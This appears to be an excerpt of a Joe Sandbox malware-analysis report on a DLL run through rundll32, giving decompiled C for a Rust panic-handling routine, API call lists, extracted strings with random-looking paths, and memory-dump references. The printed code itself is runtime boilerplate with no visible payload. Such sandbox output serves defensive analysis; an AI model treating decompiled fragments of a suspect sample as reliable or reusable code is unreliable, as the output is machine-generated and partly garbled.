0x6e9fcbbe
0x6e9fcbc6
0x6e9fcbc8
0x6e9fcdc8
0x6e9fcdcb
0x6e9fcdd2
0x6e9fcddb
0x6e9fcddd
0x6e9fcddf
0x6e9fcddf
0x6e9fcdeb
0x6e9fcdeb
0x6e9fcdfb
0x00000000
0x6e9fcdfb
0x6e9fcb5a
0x6e9fccf1
0x00000000
0x6e9fccf1
0x6e9fc9c4
0x00000000
0x6e9fc9c4
0x6e9fc9ae
0x6e9fc956
0x6e9fc7bf

APIs

Part of subcall function 6E9FD000: TlsGetValue.KERNEL32(00000000,00000001,6E9FC746), ref: 6E9FD00B
Part of subcall function 6E9FD000: TlsGetValue.KERNEL32(00000000), ref: 6E9FD043

AcquireSRWLockShared.KERNEL32(6EA4E11C), ref: 6E9FC785
HeapFree.KERNEL32(00000000,00000000), ref: 6E9FC8DC
HeapFree.KERNEL32(00000000,?), ref: 6E9FC8EA
TlsGetValue.KERNEL32(00000000), ref: 6E9FC94D
TlsGetValue.KERNEL32(00000000), ref: 6E9FCA47
HeapFree.KERNEL32(00000000,00000000), ref: 6E9FCB31
HeapFree.KERNEL32(00000000,?), ref: 6E9FCB3F
GetProcessHeap.KERNEL32 ref: 6E9FCC18
HeapAlloc.KERNEL32(02F30000,00000000,00000010), ref: 6E9FCC2B
TlsSetValue.KERNEL32(00000000,00000000,02F30000,00000000,00000010), ref: 6E9FCC9C
HeapFree.KERNEL32(00000000,00000000,02F30000,00000000,00000010), ref: 6E9FCD1D

Strings

already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd, xrefs: 6E9FCBE1
cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa, xrefs: 6E9FC74D, 6E9FC7C8
full, xrefs: 6E9FCCF8
Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6E9FCC00

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: Heap$FreeValue$AcquireAllocLockProcessShared
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd$cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa$full
API String ID: 2275035175-262129955
Opcode ID: 637b2bd64dfb7defebf0193470fde3636a2189ff43c0f887d79fd8cb2feca5c8
Instruction ID: ce90918852b3e976451e97aae51c5dac24e2ab8b662d432f8b9427bca0b39829
Opcode Fuzzy Hash: 637b2bd64dfb7defebf0193470fde3636a2189ff43c0f887d79fd8cb2feca5c8
Instruction Fuzzy Hash: 1F1235B4A00219DFEB10CFE4C85479EBBB9BF49318F208919D415AF290D775E886CF99

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FC6D0, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 409
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6E9FC6D0(long _a4, signed int _a8) {
				intOrPtr _v4;
				void* _v20;
				void _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t193;
				void* _t197;
				void _t198;
				intOrPtr* _t199;
				signed int _t200;
				signed int _t202;
				char* _t204;
				long _t205;
				long _t206;
				void* _t207;
				void* _t208;
				long _t209;
				void _t212;
				void _t213;
				void* _t222;
				void* _t225;
				long _t229;
				void* _t238;
				void* _t248;
				void* _t250;
				void* _t251;
				char** _t254;
				char** _t255;
				void* _t259;
				void* _t263;
				void _t268;
				char _t269;
				signed char _t271;
				void* _t274;
				void _t275;
				intOrPtr _t278;
				void* _t280;
				char* _t281;
				void _t282;
				void _t285;
				intOrPtr _t296;
				intOrPtr _t300;
				void _t303;
				long _t307;
				intOrPtr _t312;
				void* _t314;
				void* _t315;
				signed int _t316;
				signed int _t318;
				void* _t324;
				intOrPtr* _t330;
				long _t332;
				void* _t333;
				void* _t337;
				void _t338;
				void* _t340;
				void* _t341;
				void* _t342;
				void* _t343;
				void _t346;
				void* _t347;
				void* _t348;
				void* _t359;
				void* _t372;
				long _t373;

				 *_t346 = _t274;
				_v4 = _t312;
				_t275 = _t346;
				_push(_a4);
				_push(0);
				L1();
				_t347 = _t346 + 8;
				asm("ud2");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t348 = _t347 - 0x88;
				_v40 = _t348;
				_v28 = 0xffffffff;
				_v32 = E6EA039A0;
				_t268 = _t275;
				_t340 = 1;
				_t337 = 0x6ea401dc;
				_v36 =  *[fs:0x0];
				 *[fs:0x0] =  &_v36;
				asm("lock xadd [0x6ea4e120], esi");
				_t193 = E6E9FD000(_t268, 0x6ea401dc);
				_t349 = _t193;
				if(_t193 == 0) {
					_t193 = E6EA195A0(_t268,  &M6EA3F8F7, 0x46, _t349,  &_v68, 0x6ea3f870, 0x6ea3f9bc);
					_t348 = _t348 + 0xc;
					asm("ud2");
				}
				_t314 = _a8;
				_t278 =  *_t193 + 1;
				 *_t193 = _t278;
				if(_t340 < 0 || _t278 >= 3) {
					__eflags = _t278 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6ea3f570;
						_v120 = 0x6ea3f824;
						_v68 = 0x6ea40260;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t314;
						_t315 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6E9F2470;
						_v52 =  &_v80;
						_v48 = 1;
						_t197 = E6E9FD0F0( &_v100, __eflags);
						__eflags = _t197 - 3;
						if(_t197 == 3) {
							_v20 = 0;
							_v36 = _t315;
							 *((intOrPtr*)( *((intOrPtr*)(_t315 + 4))))( *_t315);
							_t348 = _t348 + 4;
							L12:
							_t340 = _v36;
							_t307 =  *(_t340 + 4);
							__eflags =  *(4 + _t307);
							if( *(4 + _t307) != 0) {
								HeapFree( *0x6ea4e128, 0, _t259);
							}
							_t197 = HeapFree( *0x6ea4e128, 0, _t340);
						}
						goto L17;
					}
					_t333 =  &_v68;
					_v68 = 0x6ea40224;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6ea3f570;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t197 = E6E9FD0F0( &_v124, __eflags);
					__eflags = _t197 - 3;
					if(_t197 != 3) {
						goto L17;
					} else {
						_v20 = 1;
						_v36 = _t333;
						 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
						_t348 = _t348 + 4;
						goto L12;
					}
				} else {
					_v132 = _t278;
					__imp__AcquireSRWLockShared(0x6ea4e11c);
					_v144 = 0x6ea4e11c;
					_v20 = 2;
					_v136 = _t268;
					_v140 = _t337;
					_t263 =  *((intOrPtr*)(_t337 + 0x10))(_t268);
					_t348 = _t348 + 4;
					_v36 = _t263;
					_v40 = _t314;
					_t197 = E6E9FD000(_t268, _t337);
					_t337 = _v40;
					_t352 = _t197;
					if(_t197 != 0) {
						L18:
						__eflags =  *_t197 - 1;
						_t280 = 1;
						if( *_t197 <= 1) {
							_t198 =  *0x6ea4e110; // 0x0
							_t316 = _a8;
							__eflags = _t198 - 2;
							if(_t198 == 2) {
								_t280 = 0;
								goto L20;
							}
							__eflags = _t198 - 1;
							if(_t198 == 1) {
								_t280 = 4;
								goto L20;
							}
							__eflags = _t198;
							if(_t198 != 0) {
								goto L20;
							}
							E6E9FD380(_t268,  &_v68, _t337, _t340);
							_t337 = _v40;
							_t251 = _v68;
							__eflags = _t251;
							if(_t251 != 0) {
								goto L69;
							}
							_t271 = 5;
							goto L87;
						}
						_t316 = _a8;
						goto L20;
					} else {
						E6EA195A0(_t268,  &M6EA3F8F7, 0x46, _t352,  &_v68, 0x6ea3f870, 0x6ea3f9bc);
						_t348 = _t348 + 0xc;
						L62:
						asm("ud2");
						L63:
						_t281 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t204 = 0xc;
						L22:
						_v100 = _t281;
						_v96 = _t204;
						_t205 =  *0x6ea4d044; // 0x0
						if(_t205 == 0) {
							_t285 = 0x6ea4d044;
							_t205 = E6EA02960(_t268, 0x6ea4d044, _t337, _t340);
						}
						_t197 = TlsGetValue(_t205);
						if(_t197 <= 1) {
							L43:
							_t206 =  *0x6ea4d044; // 0x0
							__eflags = _t206;
							if(_t206 == 0) {
								_t285 = 0x6ea4d044;
								_t206 = E6EA02960(_t268, 0x6ea4d044, _t337, _t340);
							}
							_t197 = TlsGetValue(_t206);
							__eflags = _t197;
							if(_t197 == 0) {
								_t207 =  *0x6ea4e128; // 0x2f30000
								__eflags = _t207;
								if(_t207 != 0) {
									L67:
									_t208 = HeapAlloc(_t207, 0, 0x10);
									__eflags = _t208;
									if(__eflags != 0) {
										 *_t208 = 0;
										 *(_t208 + 0xc) = 0x6ea4d044;
										_t340 = _t208;
										_t209 =  *0x6ea4d044; // 0x0
										__eflags = _t209;
										if(_t209 == 0) {
											_v36 = _t340;
											_t209 = E6EA02960(_t268, 0x6ea4d044, _t337, _t340);
											_t340 = _v36;
										}
										_t197 = TlsSetValue(_t209, _t340);
										goto L76;
									}
									L68:
									_t251 = E6EA192F0(_t268, 0x10, 4, _t337, _t340, __eflags);
									asm("ud2");
									L69:
									_t332 = _v60;
									_t303 = _v64;
									__eflags = _t332 - 4;
									if(_t332 == 4) {
										__eflags =  *_t251 - 0x6c6c7566;
										if( *_t251 != 0x6c6c7566) {
											L84:
											_t340 = 2;
											_t271 = 0;
											__eflags = 0;
											L85:
											__eflags = _t303;
											if(_t303 != 0) {
												HeapFree( *0x6ea4e128, 0, _t251);
											}
											L87:
											__eflags = _t271 - 5;
											_t316 = _a8;
											_t273 =  !=  ? _t340 : 1;
											_t280 =  !=  ? _t271 & 0x000000ff : 4;
											_t144 =  !=  ? _t340 : 1;
											_t268 =  *0x6ea4e110;
											 *0x6ea4e110 =  !=  ? _t340 : 1;
											L20:
											_v148 = _t316;
											_v128 = _t280;
											_t61 = _t337 + 0xc; // 0x6ea03290
											_t199 =  *_t61;
											_v40 = _t199;
											_t200 =  *_t199(_v36);
											_t348 = _t348 + 4;
											_t318 = _t316 ^ 0x7ef2a91e | _t200 ^ 0xecc7bcf4;
											__eflags = _t318;
											if(__eflags != 0) {
												_t202 = _v40(_v36);
												_t348 = _t348 + 4;
												__eflags = _t318 ^ 0xe43a67d8 | _t202 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L63;
												}
												_t254 = _v36;
												_t281 =  *_t254;
												_t204 = _t254[2];
												goto L22;
											}
											_t255 = _v36;
											_t281 =  *_t255;
											_t204 = _t255[1];
											goto L22;
										}
										_t271 = 1;
										_t340 = 3;
										goto L85;
									}
									__eflags = _t332 - 1;
									if(_t332 != 1) {
										goto L84;
									}
									__eflags =  *_t251 - 0x30;
									if( *_t251 != 0x30) {
										goto L84;
									}
									_t271 = 4;
									_t340 = 1;
									goto L85;
								}
								_t207 = GetProcessHeap();
								__eflags = _t207;
								if(__eflags == 0) {
									goto L68;
								}
								 *0x6ea4e128 = _t207;
								goto L67;
							} else {
								_t340 = _t197;
								__eflags = _t197 - 1;
								if(_t197 != 1) {
									L76:
									_t282 =  *(_t340 + 8);
									__eflags =  *_t340;
									_t138 = _t340 + 4; // 0x4
									_t337 = _t138;
									 *_t340 = 1;
									 *(_t340 + 4) = 0;
									 *(_t340 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t282;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t197 = E6E9FC640(_t282);
											}
										}
									}
									goto L27;
								}
								_v84 = 0;
								_v36 = 0;
								_t213 = 0;
								__eflags = 0;
								goto L48;
							}
						} else {
							_t337 = _t197;
							if( *_t197 != 1) {
								goto L43;
							}
							_t337 = _t337 + 4;
							L27:
							if( *_t337 != 0) {
								E6EA195A0(_t268, "already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd", 0x10, __eflags,  &_v68, 0x6ea3f860, 0x6ea3ff30);
								_t348 = _t348 + 0xc;
								goto L62;
							}
							 *_t337 = 0xffffffff;
							_t340 =  *(_t337 + 4);
							if(_t340 == 0) {
								_v36 = _t337;
								_v20 = 8;
								_t250 = E6E9FC4D0(_t268, _t337, _t340);
								_t337 = _v36;
								_t340 = _t250;
								_t197 =  *(_t337 + 4);
								_t359 = _t197;
								if(_t359 != 0) {
									asm("lock dec dword [eax]");
									if(_t359 == 0) {
										_t285 =  *(_t337 + 4);
										_t197 = E6E9FC640(_t285);
									}
								}
								 *(_t337 + 4) = _t340;
							}
							asm("lock inc dword [esi]");
							if(_t359 <= 0) {
								L17:
								asm("ud2");
								asm("ud2");
								goto L18;
							} else {
								 *_t337 =  *_t337 + 1;
								_v84 = _t340;
								_v36 = _t340;
								if(_t340 != 0) {
									_t212 =  *(_t340 + 0x10);
									__eflags = _t212;
									_t285 =  ==  ? _t212 : _t340 + 0x10;
									__eflags = _t285;
									if(__eflags != 0) {
										L104:
										_t213 =  *_t285;
										_t285 =  *((intOrPtr*)(4 + _t285)) - 1;
										L105:
										_v20 = 3;
										L48:
										_v124 = 0x6ea4010c;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t323 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t215 =  !=  ? _t285 : 9;
										_v80 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t324 =  &_v124;
										_v76 =  !=  ? _t285 : 9;
										_v68 =  &_v80;
										_v64 = 0x6e9fdca0;
										_v60 =  &_v100;
										_v56 = 0x6e9fdca0;
										_v52 =  &_v148;
										_v48 = E6E9FDCC0;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6E9FD0F0( &_v92, _t213) == 3) {
											_v20 = 7;
											_v40 = _t324;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t348 = _t348 + 4;
											_t343 = _v40;
											_t300 =  *((intOrPtr*)(_t343 + 4));
											if( *((intOrPtr*)(_t300 + 4)) != 0) {
												_t248 =  *_t343;
												if( *((intOrPtr*)(_t300 + 8)) >= 9) {
													_t248 =  *(_t248 - 4);
												}
												HeapFree( *0x6ea4e128, 0, _t248);
											}
											HeapFree( *0x6ea4e128, 0, _t343);
										}
										_t269 = _v128;
										_t222 =  <  ? (_t269 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t222 == 0) {
											__imp__AcquireSRWLockExclusive(0x6ea4e10c);
											_v68 = 0x6ea3fad0;
											_v64 = 1;
											_v152 = 0x6ea4e10c;
											_v41 = _t269;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6E9FDD30;
											_v52 =  &_v124;
											_v48 = 1;
											_t225 = E6E9FD0F0( &_v92, __eflags);
											_t341 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6ea4e10c);
											__eflags = _t225 - 3;
											if(__eflags != 0) {
												goto L95;
											}
											_v20 = 5;
											_v40 = _t341;
											 *((intOrPtr*)( *((intOrPtr*)(_t341 + 4))))( *_t341);
											_t348 = _t348 + 4;
											goto L90;
										} else {
											if(_t222 == 1) {
												L95:
												_t372 = _v36;
												if(_t372 != 0) {
													asm("lock dec dword [eax]");
													if(_t372 == 0) {
														E6E9FC640(_v84);
													}
												}
												_t342 = _v140;
												_t338 = _v136;
												_t373 = _v72;
												if(_t373 != 0) {
													asm("lock dec dword [eax]");
													if(_t373 == 0) {
														E6E9FDA70(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6ea4e11c);
												_t374 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6ea4029c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6ea3f570;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t229 = E6E9FD0F0( &_v80, _t374);
													_v120 =  &_v68;
													_v124 = _t229;
													E6E9FD2B0( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t285 = _t338;
												E6E9FD290(_t285, _t342);
												asm("ud2");
												goto L104;
											}
											 *0x6ea4d040 = 0;
											_t368 =  *0x6ea4d040;
											if( *0x6ea4d040 == 0) {
												goto L95;
											}
											_t330 =  &_v68;
											_v68 = 0x6ea4017c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6ea3f570;
											_v48 = 0;
											_v20 = 3;
											if(E6E9FD0F0( &_v92, _t368) != 3) {
												goto L95;
											}
											_v40 = _t330;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t330 + 4))))( *_t330);
											_t348 = _t348 + 4;
											L90:
											_t296 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t296 + 4)) != 0) {
												_t238 =  *_v40;
												if( *((intOrPtr*)(_t296 + 8)) >= 9) {
													_t238 =  *(_t238 - 4);
												}
												HeapFree( *0x6ea4e128, 0, _t238);
											}
											HeapFree( *0x6ea4e128, 0, _v40);
											goto L95;
										}
									}
									_t213 = 0;
									goto L105;
								}
								_t213 = 0;
								goto L48;
							}
						}
					}
				}
			}

0x6e9fc6d7
0x6e9fc6da
0x6e9fc6de
0x6e9fc6e5
0x6e9fc6e6
0x6e9fc6e8
0x6e9fc6ed
0x6e9fc6f0
0x6e9fc6f2
0x6e9fc6f3
0x6e9fc6f4
0x6e9fc6f5
0x6e9fc6f6
0x6e9fc6f7
0x6e9fc6f8
0x6e9fc6f9
0x6e9fc6fa
0x6e9fc6fb
0x6e9fc6fc
0x6e9fc6fd
0x6e9fc6fe
0x6e9fc6ff
0x6e9fc706
0x6e9fc70c
0x6e9fc70f
0x6e9fc716
0x6e9fc71d
0x6e9fc722
0x6e9fc727
0x6e9fc730
0x6e9fc733
0x6e9fc739
0x6e9fc741
0x6e9fc746
0x6e9fc748
0x6e9fc762
0x6e9fc767
0x6e9fc76a
0x6e9fc76a
0x6e9fc76e
0x6e9fc771
0x6e9fc774
0x6e9fc776
0x6e9fc7ea
0x6e9fc7ed
0x6e9fc84a
0x6e9fc851
0x6e9fc85b
0x6e9fc862
0x6e9fc869
0x6e9fc86d
0x6e9fc874
0x6e9fc87b
0x6e9fc881
0x6e9fc884
0x6e9fc887
0x6e9fc88d
0x6e9fc894
0x6e9fc897
0x6e9fc89e
0x6e9fc8a3
0x6e9fc8a5
0x6e9fc8ac
0x6e9fc8b4
0x6e9fc8b7
0x6e9fc8b9
0x6e9fc8bc
0x6e9fc8bc
0x6e9fc8bf
0x6e9fc8c2
0x6e9fc8c6
0x6e9fc8dc
0x6e9fc8dc
0x6e9fc8ea
0x6e9fc8ea
0x00000000
0x6e9fc8a5
0x6e9fc7f2
0x6e9fc7f5
0x6e9fc7fc
0x6e9fc803
0x6e9fc80a
0x6e9fc811
0x6e9fc815
0x6e9fc81c
0x6e9fc823
0x6e9fc828
0x6e9fc82a
0x00000000
0x6e9fc830
0x6e9fc835
0x6e9fc83d
0x6e9fc840
0x6e9fc842
0x00000000
0x6e9fc842
0x6e9fc77d
0x6e9fc77d
0x6e9fc785
0x6e9fc78b
0x6e9fc795
0x6e9fc79c
0x6e9fc7a3
0x6e9fc7a9
0x6e9fc7ac
0x6e9fc7af
0x6e9fc7b2
0x6e9fc7b5
0x6e9fc7ba
0x6e9fc7bd
0x6e9fc7bf
0x6e9fc8f3
0x6e9fc8f3
0x6e9fc8f6
0x6e9fc8f8
0x6e9fc9cb
0x6e9fc9d0
0x6e9fc9d3
0x6e9fc9d6
0x6e9fcbd7
0x00000000
0x6e9fcbd7
0x6e9fc9dc
0x6e9fc9df
0x6e9fcbd0
0x00000000
0x6e9fcbd0
0x6e9fc9e5
0x6e9fc9e7
0x00000000
0x00000000
0x6e9fc9f0
0x6e9fc9f5
0x6e9fc9f8
0x6e9fc9fb
0x6e9fc9fd
0x00000000
0x00000000
0x6e9fca03
0x00000000
0x6e9fca03
0x6e9fc8fe
0x00000000
0x6e9fc7c5
0x6e9fc7dd
0x6e9fc7e2
0x6e9fcbfe
0x6e9fcbfe
0x6e9fcc00
0x6e9fcc00
0x6e9fcc05
0x6e9fc933
0x6e9fc933
0x6e9fc936
0x6e9fc939
0x6e9fc940
0x6e9fc942
0x6e9fc947
0x6e9fc947
0x6e9fc94d
0x6e9fc956
0x6e9fca33
0x6e9fca33
0x6e9fca38
0x6e9fca3a
0x6e9fca3c
0x6e9fca41
0x6e9fca41
0x6e9fca47
0x6e9fca4d
0x6e9fca4f
0x6e9fcc0f
0x6e9fcc14
0x6e9fcc16
0x6e9fcc26
0x6e9fcc2b
0x6e9fcc30
0x6e9fcc32
0x6e9fcc72
0x6e9fcc78
0x6e9fcc7f
0x6e9fcc81
0x6e9fcc86
0x6e9fcc88
0x6e9fcc8f
0x6e9fcc92
0x6e9fcc97
0x6e9fcc97
0x6e9fcc9c
0x00000000
0x6e9fcc9c
0x6e9fcc34
0x6e9fcc3e
0x6e9fcc43
0x6e9fcc45
0x6e9fcc45
0x6e9fcc48
0x6e9fcc4b
0x6e9fcc4e
0x6e9fccf8
0x6e9fccfe
0x6e9fcd09
0x6e9fcd09
0x6e9fcd0e
0x6e9fcd0e
0x6e9fcd10
0x6e9fcd10
0x6e9fcd12
0x6e9fcd1d
0x6e9fcd1d
0x6e9fcd22
0x6e9fcd22
0x6e9fcd2d
0x6e9fcd35
0x6e9fcd38
0x6e9fcd3b
0x6e9fcd3b
0x6e9fcd3b
0x6e9fc901
0x6e9fc901
0x6e9fc907
0x6e9fc90a
0x6e9fc90a
0x6e9fc910
0x6e9fc913
0x6e9fc915
0x6e9fc923
0x6e9fc923
0x6e9fc925
0x6e9fca0d
0x6e9fca10
0x6e9fca1e
0x6e9fca20
0x00000000
0x00000000
0x6e9fca26
0x6e9fca29
0x6e9fca2b
0x00000000
0x6e9fca2b
0x6e9fc92b
0x6e9fc92e
0x6e9fc930
0x00000000
0x6e9fc930
0x6e9fcd00
0x6e9fcd02
0x00000000
0x6e9fcd02
0x6e9fcc54
0x6e9fcc57
0x00000000
0x00000000
0x6e9fcc5d
0x6e9fcc60
0x00000000
0x00000000
0x6e9fcc66
0x6e9fcc68
0x00000000
0x6e9fcc68
0x6e9fcc18
0x6e9fcc1d
0x6e9fcc1f
0x00000000
0x00000000
0x6e9fcc21
0x00000000
0x6e9fca55
0x6e9fca55
0x6e9fca57
0x6e9fca5a
0x6e9fcca2
0x6e9fcca2
0x6e9fcca5
0x6e9fcca8
0x6e9fcca8
0x6e9fccab
0x6e9fccb1
0x6e9fccb8
0x6e9fccbf
0x6e9fccc5
0x6e9fccc7
0x6e9fcccd
0x6e9fccd0
0x6e9fccd6
0x6e9fccd6
0x6e9fccd0
0x6e9fccc7
0x00000000
0x6e9fccbf
0x6e9fca60
0x6e9fca67
0x6e9fca6e
0x6e9fca6e
0x00000000
0x6e9fca6e
0x6e9fc95c
0x6e9fc95f
0x6e9fc961
0x00000000
0x00000000
0x6e9fc967
0x6e9fc96a
0x6e9fc96d
0x6e9fcbf6
0x6e9fcbfb
0x00000000
0x6e9fcbfb
0x6e9fc973
0x6e9fc979
0x6e9fc97e
0x6e9fc980
0x6e9fc983
0x6e9fc98a
0x6e9fc98f
0x6e9fc992
0x6e9fc994
0x6e9fc997
0x6e9fc999
0x6e9fc99b
0x6e9fc99e
0x6e9fc9a0
0x6e9fc9a3
0x6e9fc9a3
0x6e9fc99e
0x6e9fc9a8
0x6e9fc9a8
0x6e9fc9ab
0x6e9fc9ae
0x6e9fc8ef
0x6e9fc8ef
0x6e9fc8f1
0x00000000
0x6e9fc9b4
0x6e9fc9b4
0x6e9fc9b8
0x6e9fc9bb
0x6e9fc9be
0x6e9fcce0
0x6e9fcce6
0x6e9fcce8
0x6e9fcce8
0x6e9fcceb
0x6e9fcea2
0x6e9fcea2
0x6e9fcea7
0x6e9fcea8
0x6e9fcea8
0x6e9fca70
0x6e9fca77
0x6e9fca7e
0x6e9fca85
0x6e9fca8c
0x6e9fca90
0x6e9fca97
0x6e9fca9e
0x6e9fcaa5
0x6e9fcaad
0x6e9fcab0
0x6e9fcab6
0x6e9fcab9
0x6e9fcabf
0x6e9fcac5
0x6e9fcacc
0x6e9fcad5
0x6e9fcadc
0x6e9fcae2
0x6e9fcae9
0x6e9fcaec
0x6e9fcafa
0x6e9fcb01
0x6e9fcb09
0x6e9fcb0c
0x6e9fcb0e
0x6e9fcb11
0x6e9fcb14
0x6e9fcb1b
0x6e9fcb1d
0x6e9fcb23
0x6e9fcb25
0x6e9fcb25
0x6e9fcb31
0x6e9fcb31
0x6e9fcb3f
0x6e9fcb3f
0x6e9fcb44
0x6e9fcb55
0x6e9fcb5a
0x6e9fcd4b
0x6e9fcd5a
0x6e9fcd61
0x6e9fcd68
0x6e9fcd72
0x6e9fcd75
0x6e9fcd7c
0x6e9fcd83
0x6e9fcd89
0x6e9fcd90
0x6e9fcd93
0x6e9fcd9a
0x6e9fcd9f
0x6e9fcda8
0x6e9fcdae
0x6e9fcdb1
0x00000000
0x00000000
0x6e9fcdb8
0x6e9fcdc0
0x6e9fcdc3
0x6e9fcdc5
0x00000000
0x6e9fcb60
0x6e9fcb63
0x6e9fce00
0x6e9fce03
0x6e9fce05
0x6e9fce07
0x6e9fce0a
0x6e9fce0f
0x6e9fce0f
0x6e9fce0a
0x6e9fce17
0x6e9fce1d
0x6e9fce23
0x6e9fce25
0x6e9fce27
0x6e9fce2a
0x6e9fce2f
0x6e9fce2f
0x6e9fce2a
0x6e9fce39
0x6e9fce3f
0x6e9fce43
0x6e9fce4a
0x6e9fce52
0x6e9fce59
0x6e9fce60
0x6e9fce67
0x6e9fce6e
0x6e9fce72
0x6e9fce79
0x6e9fce80
0x6e9fce88
0x6e9fce8b
0x6e9fce8e
0x6e9fce93
0x6e9fce95
0x6e9fce95
0x6e9fce97
0x6e9fce9b
0x6e9fcea0
0x00000000
0x6e9fcea0
0x6e9fcb6b
0x6e9fcb71
0x6e9fcb73
0x00000000
0x00000000
0x6e9fcb7c
0x6e9fcb7f
0x6e9fcb86
0x6e9fcb8d
0x6e9fcb94
0x6e9fcb9b
0x6e9fcba2
0x6e9fcbb0
0x00000000
0x00000000
0x6e9fcbbb
0x6e9fcbbe
0x6e9fcbc6
0x6e9fcbc8
0x6e9fcdc8
0x6e9fcdcb
0x6e9fcdd2
0x6e9fcddb
0x6e9fcddd
0x6e9fcddf
0x6e9fcddf
0x6e9fcdeb
0x6e9fcdeb
0x6e9fcdfb
0x00000000
0x6e9fcdfb
0x6e9fcb5a
0x6e9fccf1
0x00000000
0x6e9fccf1
0x6e9fc9c4
0x00000000
0x6e9fc9c4
0x6e9fc9ae
0x6e9fc956
0x6e9fc7bf

APIs

Part of subcall function 6E9FC700: AcquireSRWLockShared.KERNEL32(6EA4E11C), ref: 6E9FC785

HeapFree.KERNEL32(00000000,00000000), ref: 6E9FC8DC
HeapFree.KERNEL32(00000000,?), ref: 6E9FC8EA
TlsGetValue.KERNEL32(00000000), ref: 6E9FC94D
HeapFree.KERNEL32(00000000,00000000), ref: 6E9FCB31
HeapFree.KERNEL32(00000000,?), ref: 6E9FCB3F

Strings

cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa, xrefs: 6E9FC74D, 6E9FC7C8
Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6E9FCC00

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
